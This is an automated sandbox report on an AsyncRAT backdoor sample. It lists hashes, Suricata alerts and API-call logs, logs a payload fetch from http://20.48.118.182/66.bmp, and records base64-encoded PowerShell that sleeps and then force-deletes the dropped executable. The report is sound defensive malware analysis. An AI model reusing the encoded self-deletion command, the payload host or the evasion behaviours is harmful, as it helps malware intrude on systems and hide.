Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 3, 2022, 10:26 a.m.	Aug. 3, 2022, 10:31 a.m.

Size	61.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`ee71c964ff63d2d1316667f79656e01a`
SHA256	`0e083607e9f435860981d2de43a7c03ff3d1dd9ef5f85731ffd5fccc86efb410`
CRC32	`47023B3B`
ssdeep	`1536:TgX9NKwuDUaQl+kzdC9GiZQWSwi/fUpS/fX/MNY:TyQwuis1Jy///f/Mm`
Yara	IsPE32 - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
2144
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA=
  2244
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHQAZQBzAHQAMgAyAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB2AGIAYwAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=
  2600

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
20.48.118.182	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49161 -> 20.48.118.182:80	2030384	ET HUNTING Suspicious Terse Request for .bmp	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (15 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:26 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 3, 2022, 10:27 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 3, 2022, 10:26 a.m.			0	0
IsDebuggerPresent Aug. 3, 2022, 10:26 a.m.			0	0
IsDebuggerPresent Aug. 3, 2022, 10:26 a.m.			0	0
IsDebuggerPresent Aug. 3, 2022, 10:27 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 85 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00719660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00719660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00719760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024dc40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d980 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d580 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d740 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024db80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024da40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:26 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0024d1c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033a790 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ae10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ae10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033ae10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033a8d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033a8d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 3, 2022, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033a8d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 3, 2022, 10:26 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://20.48.118.182/66.bmp

Performs some HTTP requests (1 event)

request

GET http://20.48.118.182/66.bmp

Allocates read-write-execute memory (usually to unpack itself) (50 out of 327 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74151000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74152000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00430000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00450000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00620000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 28672 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00621000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00628000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00629000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a9f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ce000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002cf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04aa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04aa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 3, 2022, 10:26 a.m.	process_identifier: 2144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x051eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

